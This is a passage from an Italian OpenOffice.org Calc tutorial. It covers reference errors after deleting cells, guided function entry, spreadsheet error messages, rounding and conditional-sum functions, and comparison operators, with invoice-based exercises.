4	=$A$3+1	=$A$2+1	=$B$4+1	=$C$6+1	=$D$4+1
5	=$A$4+1	=$A$3+1	=$B$5+1	=$C$7+1	=$D$5+1
6	=$A$5+1	=$A$4+1	=$B$6+1	=$C$8+1	=$D$6+1
7	=$A$6+1	=$A$5+1	=$B$7+1	=$C$9+1	=$D$7+1
8		=$A$6+1	=$B$8+1		
9		=$A$7+1	=$B$9+1		

Figura 122.117. Eliminazione di una zona di celle con rimpiazzo proveniente da destra: alcuni riferimenti non sono più validi, perché originariamente riguardavano celle che poi scompaiono.

	A	B	C	D	E
1	1	2	3	4	5
2	2	3	4	5	6
3	3	4	5	6	7
4	4	5	6	7	8
5	5	6	7	8	9
6	6	7	8	9	10
7	7	8	9	10	11

	A	B	C	D	E
1	1	2	3	4	5
2	2	#RIF!	#RIF!		
3	3	#RIF!	#RIF!		
4	4	5	6	7	8
5	5	6	7	8	9
6	6	7	8	9	10
7	7	8	9	10	11

	A	B	C	D	E
1	1	=A1+1	=B1+1	=C1+1	=D1+1
2	=A1+1	=A2+1	=B2+1	=C2+1	=D2+1
3	=A2+1	=A3+1	=B3+1	=C3+1	=D3+1
4	=A3+1	=A4+1	=B4+1	=C4+1	=D4+1
5	=A4+1	=A5+1	=B5+1	=C5+1	=D5+1
6	=A5+1	=A6+1	=B6+1	=C6+1	=D6+1
7	=A6+1	=A7+1	=B7+1	=C7+1	=D7+1

	A	B	C	D	E
1	1	=A1+1	=B1+1	=C1+1	=D1+1
2	=A1+1	=#RIF!2+1	=B2+1		
3	=A2+1	=#RIF!3+1	=B3+1		
4	=A3+1	=A4+1	=B4+1	=C4+1	=D4+1
5	=A4+1	=A5+1	=B5+1	=C5+1	=D5+1
6	=A5+1	=A6+1	=B6+1	=C6+1	=D6+1
7	=A6+1	=A7+1	=B7+1	=C7+1	=D7+1

	A	B	C	D	E
1	1	=$A$1+1	=$B1+1	=$C$1+1	=$D$1+1
2	=$A$1+1	=$A$2+1	=$B$2+1	=$C$2+1	=$D$2+1
3	=$A$2+1	=$A$3+1	=$B$3+1	=$C$3+1	=$D$3+1
4	=$A$3+1	=$A$4+1	=$B$4+1	=$C$4+1	=$D$4+1
5	=$A$4+1	=$A$5+1	=$B$5+1	=$C$5+1	=$D$5+1
6	=$A$5+1	=$A$6+1	=$B$6+1	=$C$6+1	=$D$6+1
7	=$A$6+1	=$A$7+1	=$B$7+1	=$C$7+1	=$D$7+1

	A	B	C	D	E
1	1	=$A$1+1	=$B1+1	=$C$1+1	=$D$1+1
2	=$A$1+1	=$#RIF!$2+1	=$B$2+1		
3	=$A$2+1	=$#RIF!$3+1	=$B$3+1		
4	=$A$3+1	=$A$4+1	=$B$4+1	=$C$4+1	=$D$4+1
5	=$A$4+1	=$A$5+1	=$B$5+1	=$C$5+1	=$D$5+1
6	=$A$5+1	=$A$6+1	=$B$6+1	=$C$6+1	=$D$6+1
7	=$A$6+1	=$A$7+1	=$B$7+1	=$C$7+1	=$D$7+1

Figura 122.118. Eliminazione di una zona di celle con rimpiazzo proveniente dal basso.

	A	B	C	D	E
1	1	=A1+1	=B1+1	=C1+1	=D1+1
2	=A1+1	=A2+1	=B2+1	=C2+1	=D2+1
3	=A2+1	=A3+1	=B3+1	=C3+1	=D3+1
4	=A3+1	=A4+1	=B4+1	=C4+1	=D4+1
5	=A4+1	=A5+1	=B5+1	=C5+1	=D5+1
6	=A5+1	=A6+1	=B6+1	=C6+1	=D6+1
7	=A6+1	=A7+1	=B7+1	=C7+1	=D7+1

	A	B	C	D	E
1	1	=A1+1	=B1+1	=C1+1	=D1+1
2	=A1+1	=A4+1	=B2+1	=C#RIF!+1	=D2+1
3	=A2+1	=A5+1	=B3+1	=C#RIF!+1	=D3+1
4	=A3+1	=A6+1	=B4+1	=C2+1	=D4+1
5	=A4+1	=A7+1	=B5+1	=C3+1	=D5+1
6	=A5+1			=C4+1	=D6+1
7	=A6+1			=C5+1	=D7+1

	A	B	C	D	E
1	1	=$A$1+1	=$B1+1	=$C$1+1	=$D$1+1
2	=$A$1+1	=$A$2+1	=$B$2+1	=$C$2+1	=$D$2+1
3	=$A$2+1	=$A$3+1	=$B$3+1	=$C$3+1	=$D$3+1
4	=$A$3+1	=$A$4+1	=$B$4+1	=$C$4+1	=$D$4+1
5	=$A$4+1	=$A$5+1	=$B$5+1	=$C$5+1	=$D$5+1
6	=$A$5+1	=$A$6+1	=$B$6+1	=$C$6+1	=$D$6+1
7	=$A$6+1	=$A$7+1	=$B$7+1	=$C$7+1	=$D$7+1

	A	B	C	D	E
1	1	=$A$1+1	=$B1+1	=$C$1+1	=$D$1+1
2	=$A$1+1	=$A$4+1	=$B$2+1	=C#RIF!+1	=$D$2+1
3	=$A$2+1	=$A$5+1	=$B$3+1	=C#RIF!+1	=$D$3+1
4	=$A$3+1	=$A$6+1	=$B$4+1	=$C$2+1	=$D$4+1
5	=$A$4+1	=$A$7+1	=$B$5+1	=$C$3+1	=$D$5+1
6	=$A$5+1			=$C$4+1	=$D$6+1
7	=$A$6+1			=$C$5+1	=$D$7+1

122.8.2 Inserimento ed eliminazione di righe e colonne intere

L'inserimento e l'eliminazione di righe o di colonne intere, funziona sostanzialmente come per le zone circoscritte di celle, con la differenza che questo tipo di operazione è agevolato dal programma, nei menù contestuali, in quanto è un genere di operazione più frequente. Per ottenere un menù contestuale appropriato per le funzioni che riguardano delle righe o delle colonne intere, occorre richiamarlo quando il puntatore del mouse si trova nelle intestazioni di riga o di colonna relative.

Figura 122.119. Confronto tra i menù contestuali delle zone, delle righe e delle colonne.

Figura 122.120. Iconografia usata per indicare l'inserimento o l'eliminazione di righe e colonne.

122.9 Uso delle funzioni

Le funzioni consentono di realizzare espressioni molto sofisticate e per il loro inserimento basterebbe procedere con la digitazione diretta, ricordando la loro sintassi. Tuttavia, OpenOffice.org Calc, come altri fogli elettronici, offre una modalità di inserimento facilitato che è utile conoscere.

122.9.1 Inserimento facilitato delle funzioni

Quando si vuole aiuto per inserire una funzione, è possibile avvalersi del menù, con `Inserisci`, `Funzione`, oppure con la combinazione di tasti [*Ctrl F2*], oppure con il bottone grafico che ha l'icona Σ.

Pulsante	Combinazione di tasti	Voce del menù
fx	Ctrl + F2	`Inserisci`, `Funzione`

L'aiuto all'inserimento consiste in una finestra dalla quale è possibile selezionare il genere di funzione e la funzione stessa, intuendone il significato.

Figura 122.122. Finestra per l'inserimento guidato di una funzione: la tendina di selezione della categoria di funzioni appare aperta.

A titolo di esempio si mostra il procedimento per l'uso della funzione ***SOMMA()***, la quale avrebbe comunque un metodo di inserimento preferenziale, già descritto in un altro capitolo. Nella figura successiva si vede la maschera già mostrata, dopo la selezione di tale funzione.

Figura 122.123. Selezione della funzione ***SOMMA()***.

Selezionando il bottone grafico AVANTI, si passa alla specificazione dei parametri della funzione, la quale, in questo caso, ne deve avere almeno uno, ma può averne in una quantità indefinita.

Figura 122.124. Inserimento dei parametri della funzione selezionata.

I parametri di una funzione sono frequentemente riferimenti a celle o a zone, ma la finestra di inserimento guidato è molto ingombrante e non dà modo di visualizzare il foglio di lavoro. Pertanto, è possibile ridurre la finestra alla sola riga di inserimento del parametro preso in considerazione, selezionando il bottone grafico : si ottiene una sola barra di inserimento come si vede nella figura successiva.

Figura 122.125. Inserimento di un parametro della funzione, attraverso una barra, senza nascondere il foglio di lavoro.

Per ritornare alla finestra completa basta selezionare il bottone grafico a fianco alla barra, il quale si presenta con l'immagine .

Una volta completato l'inserimento dei parametri, si conferma e la funzione viene inserita nel contesto in cui ci si trovava prima di attivare l'inserimento guidato.

Figura 122.126. Progressione nell'inserimento dei parametri della funzione.

122.9.2 Lista delle funzioni

Se si usano frequentemente le funzioni e si desidera una guida permanente e più rapida, si può attivare la «lista delle funzioni», dal menù: `Inserisci`, `Lista funzioni`. Si ottiene un pannello laterale che toglie un po' di spazio all'area di lavoro.

Figura 122.127. Lista delle funzioni.

L'utilizzo di questo strumento richiede comunque una migliore conoscenza delle funzioni che si intendono usare. Come nella finestra di inserimento guidato c'è una tendina superiore con l'elenco delle tipologie di funzione. Nella figura appena apparsa risulta scelto l'insieme delle sole funzioni usate di recente.

Quando si vuole inserire una funzione attraverso la lista, si deve selezionare il bottone grafico che appare in alto a sinistra, *fx*. Ma l'aiuto si limita all'inserimento della funzione vuota, mentre gli argomenti (i parametri) vanno messi a mano.

122.10 Segnalazioni di errore

Inserendo dati o espressioni all'interno delle celle, può capitare di ottenere la visualizzazione di un errore. Il messaggio che si ottiene serve a comprendere il tipo di errore che si è verificato, per facilitare l'individuazione della sua causa esatta e, quindi, la sua correzione.

Tabella 122.128. Tipi di errore più comuni che possono essere visualizzati.

Messaggio di errore	Descrizione
`##########`	Il risultato di un'espressione che produce un valore numerico, incluse le date e gli orari, non ha abbastanza spazio orizzontale per essere visualizzato, tenendo anche conto del tipo di rappresentazione scelto. Il problema riguarda anche le espressioni da rappresentare letteralmente.
`#VALORE!`	Un dato che fa parte dell'espressione non è valido nel contesto in cui si trova.
`#RIF!`	Probabilmente a causa di un'operazione di spostamento o di copia, il riferimento a una cella o a una zona, dopo il suo aggiornamento, non risulta più valido.
`#NUM!`	Un valore numerico è al di fuori dell'intervallo di rappresentazione gestibile.
`#NOME?`	All'interno di un'espressione appare un nome, il quale non può essere riconducibile alle coordinate di celle, né al nome di una funzione, né al nome di una zona, definito espressamente.
`#DIV/0!`	Si verifica una divisione per zero, la quale non è ammissibile.
`#N/D`	La sigla significa «non disponibile» e si presenta con funzioni di ricerca, quali ***CERCA.VERT()***, quando non ottengono il dato cercato.
`Err:5`***nn***	Si tratta di un altro tipo di errore, la cui spiegazione può essere trovata nella documentazione interna di OpenOffice.org Calc.

Figura 122.129. Esempi di errore provocati deliberatamente.

	A	B	C
1	**esempio di errore**	**contenuto effettivo della cella**	**visualizzazione o espressione presumibilmente corretta**
2	11 novembre 1911 11:11:11	=DATA(1911;11;11)+ORARIO(11;11;11)	11 novembre 1911 11:11:11
3	#VALORE!	=H5:H7	=SOMMA(H6:H8)
4	#RIF!	=H#RIF!	=H1
5	#NUM!	=1/POTENZA(10;1000)	=1/POTENZA(10;10)
6	#NOME?	=funzione.inesistente()	
7	#DIV/0!	=1/(10-10)	=1/(10-1)
8	#N/D	=CERCA.VERT("aaa";K9:M99;2)	

122.10.1 Errori a catena

Un errore che si manifesta su una certa cella potrebbe derivare da un problema che nasce in un'altra. Per esempio, se nella cella E1 un'espressione produce già l'errore '**`#DIV/0!`**', ma la cella E3 utilizza il contenuto di E1 per la sua propria espressione, l'errore risulta visualizzato anche in E3, ma la correzione va apportata solo in E1.

Figura 122.130. Esempi di errori a catena: solo la prima riga contiene errori, mentre le altre celle ne ereditano la segnalazione, ma non ne sono la causa.

	A	B	C	D	E	F
1	#VALORE!	#RIF!	#NUM!	#NOME?	#DIV/0!	#N/D
2						
3	#VALORE!	#RIF!	#NUM!	#NOME?	#DIV/0!	#N/D

	A	B	C	D	E	F
1	=H4:H6	=E#RIF!	=1/POTENZA(10;1000)	=funzione.inesistente()	=1/(10-10)	=CERCA.VERT("aaa";K8:M98;2)
2						
3	=A1*5	=B1+1	=C1*3	=D1/3	=E1*3	=F1

122.10.2 Esercizio

Si osservi lo schema successivo, di cui è disponibile anche la versione con le espressioni in evidenza, e si determini quali sono le celle che contengono effettivamente un errore da correggere.

	A	B
1	#RIF!	#NOME?
2	#N/D	#NUM!
3	#NOME?	#VALORE!
4	#VALORE!	#NOME?
5	#DIV/0!	#NUM!
6	#DIV/0!	#NUM!
7	#NOME?	#VALORE!

	A	B
1	=E#RIF!	=A7/3*A2
2	=CERCA.VERT("aaa";K8:M98;2)	=B5*3/A5
3	=A4+B3*A7	=A1+1*A4
4	=H7:H9	=SOMMA(A3;B3;B1)
5	=1/(10-10)	=1/POTENZA(10;1000)
6	=A5*3*A1	=A2*B2
7	=funzione.inesistente()	=B1/B3

122.11 Funzioni di uso comune

Le funzioni disponibili in un applicativo che consenta la gestione di un foglio elettronico, sono sempre molte, tanto che di norma ci si specializza in un piccolo insieme, relativo al contesto elaborativo di proprio interesse e per il quale si è competenti. In questo capitolo si mostra l'uso di alcune funzioni disponibili con OpenOffice.org Calc, ma anche in altri applicativi analoghi, che in ambito economico-aziendale possono essere di utilità generale.

122.11.1 Minimo, massimo e media

Le funzioni ***MIN()***, ***MEDIA()*** è ***MAX()***, hanno in comune lo scopo di estrapolare un valore, all'interno di un insieme, che si trovi tra il minimo e il massimo di quelli presi in esame. La funzione ***MIN()*** restituisce il valore minimo dell'insieme; la funzione ***MAX()*** restituisce il valore massimo; la funzione ***MEDIA()*** trova il valore medio.

MIN(***zona*** [***;zona***]...)

MEDIA(***zona*** [***;zona***]...)

MAX(***zona*** [***;zona***]...)

Le tre funzioni hanno un numero imprecisato di parametri, ma in ogni caso deve essere passato loro almeno un argomento.

122.11.2 Esercizio

Si vuole realizzare uno schema come quello seguente, derivato dall'esercizio 122.6.9. I valori della colonna «importo fattura» si ottengono moltiplicando la quantità per il prezzo unitario della riga; i valori della colonna «valore scartato» si ottengono moltiplicando la quantità scartata per il prezzo unitario della riga; i valori della colonna «percentuale scartata» si ottengono dividendo il valore scartato per l'importo della fattura; i valori della colonna «percentuale buona» si ottengono per differenza dalla percentuale scartata. Alla base delle colonne, escluso il caso del prezzo unitario, si calcola il totale dei valori soprastanti, ma per le ultime due, si eseguono semplicemente gli stessi calcoli delle altre righe. Nelle celle da F9 a E11 si calcolano, rispettivamente, il valore minimo, il medio e il massimo delle due colonne finali, con valori percentuali.

	A	B	C	D	E	F	G
1	Qualità media della merce						
2	quantità consegnata	prezzo unitario	importo fattura	quantità scartata	valore scartato	percentuale scartata	percentuale buona
3	1000	€ 1,50	€ 1.500,00	200	€ 300,00	20,00%	80,00%
4	2000	€ 1,20	€ 2.400,00	100	€ 120,00	5,00%	95,00%
5	1500	€ 1,30	€ 1.950,00	150	€ 195,00	10,00%	90,00%
6	3000	€ 1,00	€ 3.000,00	300	€ 300,00	10,00%	90,00%
7	2500	€ 1,20	€ 3.000,00	100	€ 120,00	4,00%	96,00%
8	**10000**		**€ 11.850,00**	**850**	**€ 1.035,00**	**8,73%**	**91,27%**
9					min	4,00%	80,00%
10					media	9,80%	90,20%
11					max	20,00%	96,00%

Nella cella G8 si ottiene il valore noto come «qualità media della merce consegnata», il quale è un valore medio della percentuale di merce «buona» che è stata consegnata dal fornitore, ma ponderata in base al valore preso in esame. Nella parte inferiore, le medie ottenute sono calcolate solo sui valori percentuali, senza altre informazioni, pertanto, sia la media della percentuale scartata, sia quella della percentuale di merce buona, non corrispondono alle medie ponderate che appaiono con un carattere più scuro.

122.11.3 Arrotondamenti

In generale, i dati che sono trattati dal foglio elettronico in forma numerica, sono di tipo «a virgola mobile», nel senso che, dal punto di vista umano, possono avere una quantità imprecisata di cifre decimali, anche se la visualizzazione del valore numerico corrispondente prevede solo una quantità precisa di queste cifre.

Per controllare l'approssimazione di un certo valore, a una quantità precisa di decimali o a un certo valore minimo, per cui il risultato deve esserne un multiplo, si usano delle funzioni il cui nome inizia per '**`ARROTONDA...()`**'. Tuttavia, con solo tre di queste funzioni si risolvono tutte le problematiche di arrotondamento:

`ARROTONDA.MULTIPLO(`***valore*** **;** ***multiplo***`)`

`ARROTONDA.ECCESSO(`***valore*** **;** ***multiplo***`)`

```
ARROTONDA.DIFETTO(valore; multiplo)
```

Le tre funzioni mostrate hanno gli stessi parametri: il primo è il valore da arrotondare; il secondo è il multiplo minimo per l'arrotondamento. Per esempio, per arrotondare il contenuto della cella F5 a due cifre decimali, si può scrivere (in un'altra cella) l'espressione '**=ARROTONDA.MULTIPLO(F5;0,01)**'.[5]

La funzione ***ARROTONDA.MULTIPLO()*** produce un arrotondamento pari al valore più vicino a quello originale; la funzione ***ARROTONDA.ECCESSO()*** produce un arrotondamento per eccesso; la funzione ***ARROTONDA.DIFETTO()*** produce un arrotondamento per difetto.

122.11.4 Esercizio

Si vuole realizzare uno schema come quello seguente, nel quale si calcola l'imposta sul valore aggiunto di diversi imponibili. Il risultato si ottiene evidentemente moltiplicando l'imponibile per la percentuale che rappresenta l'aliquota, ma bisogna fare in modo che, quanto ottenuto, sia approssimato per eccesso al centesimo (eurocent) superiore.

	A	B	C
1	imponibile	aliquota	imposta
2	12345,67	4%	493,83
3	2345,67	10%	234,57
4	345,67	20%	69,14

122.11.5 Esercizio

Si vuole realizzare uno schema come quello seguente, nel quale si calcola il bollo della cambiale, sapendo che si vuole approssimare il risultato ai cinque centesimi (0,05 €). Naturalmente, anche in questo caso deve trattarsi di un'approssimazione per eccesso.

	A	B	C
1	importo della cambiale	percentuale	bollo da applicare
2	12325,67	1,20%	147,95
3	2345,67	1,20%	28,15
4	335,67	1,20%	4,05

122.11.6 Somma condizionata

La somma di una zona di celle può essere limitata, in base al confronto dei valori di un'altra zona, con la stessa forma, e un valore cercato. Tale tipo di somma si esegue con la funzione ***SOMMA.SE()***:

```
SOMMA.SE(zona_di_confronto; valore_da_confrontare; zona_da_sommare)
```

Si osservi lo schema successivo, in cui è evidenziata la formula della cella D1 (gli altri contenuti sono letterali). Si vede la zona A1:B4 contenente dei valori numerici e la zona D3:E6 con

dei valori testuali (stringhe). Le due zone hanno la stessa forma, quattro righe e due colonne, ma non sono necessariamente adiacenti e nemmeno allineate.

	A	B	C	D	E	F
1	1	2		=SOMMA.SE(D3:E6;"aa";A1:B4)		
2	4	8				
3	16	32		aa	bb	
4	64	128		cc	dd	
5				aa	cc	
6				aa	aa	

Si vogliono sommare assieme alcuni valori della zona A1:B4: per individuarli si scrive nella zona D3:E6, il testo «aa», in corrispondenza delle celle da sommare nell'altra zona. In pratica, secondo l'esempio, si vogliono sommare: A1, A3, A4, B4. Nella figura successiva sono ombreggiate le celle coinvolte:

	A	B	C	D	E	F
1	1	2		209		
2	4	8				
3	16	32		aa	bb	
4	64	128		cc	dd	
5				aa	cc	
6				aa	aa	

Per ottenere questo risultato, si utilizza l'espressione '`=SOMMA.SE(D3:E6;"aa";A1:B4)`', la quale va letta come: somma le celle corrispondenti in A1:B4, quando nelle celle di D3:E6 il contenuto è «aa».

Naturalmente, tutto questo impegno serve per poter controllare la somma attraverso la zona che costituisce il primo parametro della funzione ***SOMMA.SE()***; pertanto è sufficiente cambiare la collocazione del testo «aa» per avere un altro risultato.

122.11.7 Esercizio

Si vuole realizzare uno schema come quello seguente, nel quale si calcolano degli sconti e si riepilogano gli sconti in base alla percentuale applicata. Nella prima riga appaiono gli importi da scontare; nella seconda riga ci sono le percentuali di sconto applicate; nella terza riga appaiono gli sconti calcolati in base alle percentuali della seconda. Nella cella E5 e nella cella E6, si raccolgono gli sconti calcolati, in base alla percentuale, che può essere solo del 10 % o del 20 %. Nelle celle E5 e E6 va utilizzata la funzione ***SOMMA.SE()***.

	A	B	C	D	E
1	100,00	123,45	222,00	11,23	importo
2	10%	20%	10%	20%	percentuale sconto
3	10,00	24,69	22,20	2,25	sconto
4					
5			Totale sconti al	10%	32,20
6			Totale sconti al	20%	26,94

122.11.8 Verifica

Si riapra il file '`fattura-03.ods`' creato nell'esercitazione 122.7.6 e lo si salvi con il nome '`fattura-04.ods`'.

Il file '`fattura-04.ods`' va modificato, correggendo le formule della zona I23:I30 in modo che il valore corrispondente sia effettivamente approssimato al centesimo (approssimazione media). Va inoltre aggiunto uno sconto sul totale, definito nella cella H31 e va calcolato tale sconto nella cella I31. Per calcolare questo sconto, si deve sommare la zona I23:I30, moltiplicandola per la percentuale dello sconto; tuttavia, come si vede dalle figure successive, questo sconto va mostrato come valore negativo, pertanto si deve aggiungere inizialmente un segno meno. Anche lo sconto sul totale deve essere calcolato con approssimazione media al centesimo.

Al termine delle modifiche, dopo avere salvato il nuovo lavoro, si deve procedere a produrre due stampe: una «normale» e un'altra in cui si visualizza la griglia delle celle, l'intestazione di riga e di colonna, e le formule.

Figura 122.138. Stampa «normale». La scritta sovraimposta, contenente il nome del file, non deve apparire.

fattura-04.ods

codice cliente:

CF o PI:

Indirizzo di destinazione

data fattura	fattura n.
data e orario consegna o inizio trasporto	
causale del trasporto	
aspetto esteriore dei beni	n. colli

ordine		documento di trasporto		porto		trasporto a mezzo del
numero	data	numero	data			

spese di trasporto	spese di imballo	pagamento

articolo	descrizione	quantità	sconto	sconto	prezzo	importo	IVA
aaa	Merce Alfa	123,00	3,00%	2,00%	1,57	183,57	4%
bbb	Merce Bravo	234,00	5,00%		2,89	642,45	4%
ccc	Merce Charlie	17,00	5,70%	1,00%	12,34	195,84	10%
ddd	Merce Delta	11,50			10,00	115,00	10%
eee	Merce Eco	12,30		3,00%	11,50	137,21	20%
fff	Merce Foxtrot	100,00	2,00%	3,00%	1,89	179,66	20%
ggg	Merce Golf	321,00		7,00%	2,00	597,06	20%
hhh	Merce Hotel	23,00	3,00%		5,00	111,55	20%
				sconto sul totale:	5,00%	- 108,12	

riepilogo IVA			totale spese non documentate
aliquota	imponibile	IVA	totale IVA
4%			spese documentate escluse dalla base imponibile
10%			interessi
20%			cauzioni
aliquota	imponibile	IVA	bolli
4%			scadenza fattura / totale fattura
10%			
20%			

impresa incaricata del trasporto	annotazioni
firma del conducente o del vettore	firma del destinatario

contributo CONAI assolto ove dovuto

Figura 122.139. Stampa con la griglia e le intestazioni di riga e di colonna. La scritta sovraimposta, contenente il nome del file, non deve apparire. Nella stampa che si consegna, devono apparire anche le formule, eventualmente rimpicciolite se necessario.

	A	B	C	D	E	F	G	H	I	J	K
1		fattura-04.ods					codice cliente:				
2											
3											
4											
5							CF o PI:				
6							Indirizzo di destinazione				
7											
8											
9		data fattura		fattura n.							
10											
11		data e orario consegna o inizio trasporto									
12											
13		causale del trasporto									
14											
15		aspetto esteriore dei beni			n. colli						
16	--										--
17		ordine		documento di trasporto			porto		trasporto a mezzo del		
18		numero	data	numero	data						
19											
20		spese di trasporto			spese di imballo			pagamento			
21											
22		articolo	descrizione		quantità	sconto	sconto	prezzo	importo	IVA	
23		aaa	Merce Alfa		123,00	3,00%	2,00%	1,57	183,57	4%	
24		bbb	Merce Bravo		234,00	5,00%		2,89	642,45	4%	
25		ccc	Merce Charlie		17,00	5,70%	1,00%	12,34	195,84	10%	
26		ddd	Merce Delta		11,50			10,00	115,00	10%	
27		eee	Merce Eco		12,30		3,00%	11,50	137,21	20%	
28		fff	Merce Foxtrot		100,00	2,00%	3,00%	1,89	179,66	20%	
29		ggg	Merce Golf		321,00		7,00%	2,00	597,06	20%	
30		hhh	Merce Hotel		23,00	3,00%		5,00	111,55	20%	
31						sconto sul totale:		5,00%	- 108,12		
32		riepilogo IVA			totale spese non documentate						
33		aliquota	imponibile	IVA	totale IVA						
34	--	4%			spese documentate escluse dalla base imponibile						--
35		10%			interessi						
36		20%			cauzioni						
37		aliquota	imponibile	IVA	bolli						
38		4%			scadenza fattura					totale fattura	
39		10%									
40		20%									
41		impresa incaricata del trasporto			annotazioni						
42											
43											
44											
45		firma del conducente o del vettore					firma del destinatario				
46											
47		contributo CONAI assolto ove dovuto									

122.11.9 Verifica

Si riapra il file '`fattura-04.ods`' creato nell'esercitazione 122.11.8 e lo si salvi con il nome '`fattura-05.ods`'. Il file '`fattura-05.ods`' va modificato inserendo delle formule, come descritto nell'elenco seguente.

- Nella cella C34 si devono sommare gli imponibili associati all'aliquota annotata nella cella B34 (ovvero il 4 %). Per fare questo deve essere usata la funzione ***SOMMA.SE()***. Tuttavia, la somma che si ottiene va ridotta della percentuale di sconto sul totale, definita nella cella H31; pertanto, complessivamente, il valore che si ottiene deve essere approssimato al centesimo (approssimazione media).
- Nella cella C35 si deve scrivere una formula simile a quella della cella C34, riferita però all'aliquota indicata nella cella B35. Se la formula scritta nella cella C34 è fatta bloccando opportunamente alcune coordinate con dei riferimenti assoluti, è possibile usare la funzione di copia delle celle.
- Nella cella C36 si deve intervenire come per le celle C34 e C35.
- Nelle celle D34, D35 e D36, va calcolata l'IVA relativa all'imponibile della riga rispettiva. Il calcolo dell'IVA deve essere arrotondato per eccesso al centesimo. Nella figura va osservato che, anche se apparentemente gli importi dell'IVA sembrano collocati nella colonna E, si trovano in realtà nella colonna D, perché le celle della colonna D sono fuse con quelle della colonna E.
- Nella cella I33 deve essere calcolato il totale IVA, costituito dalla somma delle zone D34:D36 e D38:D40.

Al termine delle modifiche, dopo avere salvato il nuovo lavoro, si deve procedere a produrre due stampe: una «normale» e un'altra in cui si visualizza la griglia delle celle, l'intestazione di riga e di colonna, e le formule.

Figura 122.140. Stampa «normale». La scritta sovraimposta, contenente il nome del file, non deve apparire.

fattura-05.ods

codice cliente:

CF o PI:

Indirizzo di destinazione

data fattura | fattura n.

data e orario consegna o inizio trasporto

causale del trasporto

aspetto esteriore dei beni | n. colli

ordine: numero, data | documento di trasporto: numero, data | porto | trasporto a mezzo del

spese di trasporto | spese di imballo | pagamento

articolo	descrizione	quantità	sconto	sconto	prezzo	importo	IVA
aaa	Merce Alfa	123,00	3,00%	2,00%	1,57	183,57	4%
bbb	Merce Bravo	234,00	5,00%		2,89	642,45	4%
ccc	Merce Charlie	17,00	5,70%	1,00%	12,34	195,84	10%
ddd	Merce Delta	11,50			10,00	115,00	10%
eee	Merce Eco	12,30		3,00%	11,50	137,21	20%
fff	Merce Foxtrot	100,00	2,00%	3,00%	1,89	179,66	20%
ggg	Merce Golf	321,00		7,00%	2,00	597,06	20%
hhh	Merce Hotel	23,00	3,00%		5,00	111,55	20%
				sconto sul totale:	5,00%	- 108,12	

riepilogo IVA

aliquota	imponibile	IVA
4%	784,72	31,39
10%	295,30	29,53
20%	974,21	194,85

totale spese non documentate

totale IVA 255,77

spese documentate escluse dalla base imponibile

interessi

cauzioni

bolli

aliquota	imponibile	IVA
4%		
10%		
20%		

scadenza fattura | totale fattura

impresa incaricata del trasporto | annotazioni

firma del conducente o del vettore | firma del destinatario

contributo CONAI assolto ove dovuto

Figura 122.141. Stampa con la griglia e le intestazioni di riga e di colonna. La scritta sovraimposta, contenente il nome del file, non deve apparire. Nella stampa che si consegna, devono apparire anche le formule, eventualmente rimpicciolite se necessario.

	A	B	C	D	E	F	G	H	I	J	K
1		fattura-05.ods					codice cliente:				
2											
3											
4											
5							CF o PI:				
6									Indirizzo di destinazione		
7											
8											
9		data fattura		fattura n.							
10											
11		data e orario consegna o inizio trasporto									
12											
13		causale del trasporto									
14											
15		aspetto esteriore dei beni			n. colli						
16	--										--
17		ordine		documento di trasporto			porto		trasporto a mezzo del		
18		numero	data	numero	data						
19											
20		spese di trasporto			spese di imballo			pagamento			
21											
22		articolo	descrizione		quantità	sconto	sconto	prezzo	importo	IVA	
23		aaa	Merce Alfa		123,00	3,00%	2,00%	1,57	183,57	4%	
24		bbb	Merce Bravo		234,00	5,00%		2,89	642,45	4%	
25		ccc	Merce Charlie		17,00	5,70%	1,00%	12,34	195,84	10%	
26		ddd	Merce Delta		11,50			10,00	115,00	10%	
27		eee	Merce Eco		12,30		3,00%	11,50	137,21	20%	
28		fff	Merce Foxtrot		100,00	2,00%	3,00%	1,89	179,66	20%	
29		ggg	Merce Golf		321,00		7,00%	2,00	597,06	20%	
30		hhh	Merce Hotel		23,00	3,00%		5,00	111,55	20%	
31							sconto sul totale:	5,00%	- 108,12		
32		riepilogo IVA					totale spese non documentate				
33		aliquota	imponibile	IVA				totale IVA	255,77		
34	--	4%	784,72		31,39		spese documentate escluse dalla base imponibile				--
35		10%	295,30		29,53			interessi			
36		20%	974,21		194,85			cauzioni			
37		aliquota	imponibile	IVA				bolli			
38		4%				scadenza fattura				totale fattura	
39		10%									
40		20%									
41		impresa incaricata del trasporto						annotazioni			
42											
43											
44											
45		firma del conducente o del vettore						firma del destinatario			
46											
47						contributo CONAI assolto ove dovuto					

122.12 Condizioni

Le condizioni sono espressioni il cui risultato può essere soltanto *Vero* o *Falso*, tuttavia, nei fogli elettronici comuni, tali valori corrispondono in pratica a zero e uno. Nel caso specifico di OpenOffice.org Calc, un valore pari a zero può corrispondere a *Falso*, mentre qualunque altro valore numerico può essere considerato pari a *Vero*.

122.12.1 Formato logico

Per indicare che una cella, o un gruppo di celle, devono rappresentare valori logici, si procede come per i valori numerici comuni. Con OpenOffice.org Calc, si deve raggiungere la maschera `Formato`, `Celle`, `Numeri`, selezionando la voce `Valore booleano`, come si vede nella figura successiva:

122.12.2 Operatori di confronto

Generalmente si produce un valore logico attraverso un'espressione che definisce il confronto tra due dati. Il confronto consente in pratica di verificare se due valori siano uguali, oppure se uno sia maggiore dell'altro. La tabella successiva riepiloga tali espressioni.

Tabella 122.143. Elenco degli operatori di confronto.

Espressione	Descrizione
x*=*y	Uguale. Restituisce *Vero* se i valori delle espressioni ***x*** e ***y*** sono uguali.
x*<>*y	Diverso. Restituisce *Vero* se i valori delle espressioni ***x*** e ***y*** sono diversi.
x*<*y	Minore. Restituisce *Vero* se ***x*** è minore di ***y***.

Espressione	Descrizione
$x>y$	Maggiore. Restituisce *Vero* se x è maggiore di y.
$x<=y$	Minore o uguale. Restituisce *Vero* se x è minore o uguale a y.
$x>=y$	Maggiore o uguale. Restituisce *Vero* se x è maggiore o uguale a y.

122.12.3 Esercizio

Si vuole realizzare uno schema come quello seguente, per fare pratica con gli operatori di confronto.

	A	B	C	D	E	F	G
1	A:	99			A:	ciao ciao	
2	B:	124			B:	bye bye	
3							
4	A è uguale a B?		FALSO		A è uguale a B?		FALSO
5	A è diverso da B?		VERO		A è diverso da B?		VERO
6	A è minore di B?		VERO		A è minore di B?		FALSO
7	A è maggiore di B?		FALSO		A è maggiore di B?		VERO
8	A è minore o uguale a B?		VERO		A è minore o uguale a B?		FALSO
9	A è maggiore o uguale a B?		FALSO		A è maggiore o uguale a B?		VERO

